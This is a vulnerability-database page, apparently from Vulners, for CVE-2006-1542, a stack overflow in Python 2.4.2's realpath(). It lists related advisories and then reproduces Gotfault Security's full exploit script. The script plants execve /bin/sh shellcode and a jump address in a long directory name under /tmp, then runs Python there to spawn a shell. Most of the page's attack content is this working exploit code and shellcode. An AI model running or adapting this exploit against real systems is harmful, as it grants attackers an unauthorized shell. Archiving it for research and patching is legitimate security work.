Lucene search
+L

Python 2.4.2 - 'realpath()' Local Stack Overflow

🗓️ 18 Mar 2006 00:00:00Reported by Gotfault SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 88 Views

Python 2.4.2 'realpath()' Local Stack Overflow against VA Space Randomizatio

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2006-1542
30 Mar 200611:00
–cve
cvelist
Cvelist
CVE-2006-1542
30 Mar 200611:00
–cvelist
euvd
EUVD
EUVD-2006-1546
7 Oct 202500:30
–euvd
mscve
Microsoft CVE
Stack-based buffer overflow in Python 2.4.2 and earlier, running on Linux 2.6.12.5 under gcc 4.0.3 with libc 2.3.5, allows local users to cause a "stack overflow," and possibly gain privileges, by running a script from a current working directory that has a long name, related to the realpath function. NOTE: this might not be a vulnerability. However, the fact that it appears in a programming language interpreter could mean that some applications are affected, although attack scenarios might be limited because the attacker might already need to cross privilege boundaries to cause an exploitable program to be placed in a directory with a long name; or, depending on the method that Python uses to determine the current working directory, setuid applications might be affected.
21 Oct 202608:03
–mscve
nvd
NVD
CVE-2006-1542
30 Mar 200611:02
–nvd
osv_azl
osv_azl
AZL-109548 CVE-2006-1542 affecting package python-py 1.11.0-1
30 Mar 200611:02
–osv_azl
osv_rhsa
osv_rhsa
RHSA-2008:0264 Red Hat Security Advisory: Red Hat Network Satellite Server Solaris client security update
15 Sep 202417:19
–osv_rhsa
osv_rhsa
osv_rhsa
RHSA-2008:0525 Red Hat Security Advisory: Red Hat Network Satellite Server Solaris client security update
15 Sep 202417:19
–osv_rhsa
osv_rhsa
osv_rhsa
RHSA-2008:0629 Red Hat Security Advisory: Red Hat Network Satellite Server Solaris client security update
15 Sep 202417:19
–osv_rhsa
prion
Prion
Stack overflow
30 Mar 200611:02
–prion
Rows per page
#!/usr/bin/python

# gexp-python.py
#
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
#			      posidron (Tripbit Research Group).
# Enviroment:
#
# Kernel Version	 : 2.6.12.5-vs2.0
# GCC Version		 : 4.0.3
# Libc Version		 : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
#			   RFDSLabs, barros, izik,
#			   Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp    = "\x5f\xe7\xff\xff"

shell  = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)

# milw0rm.com [2006-03-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation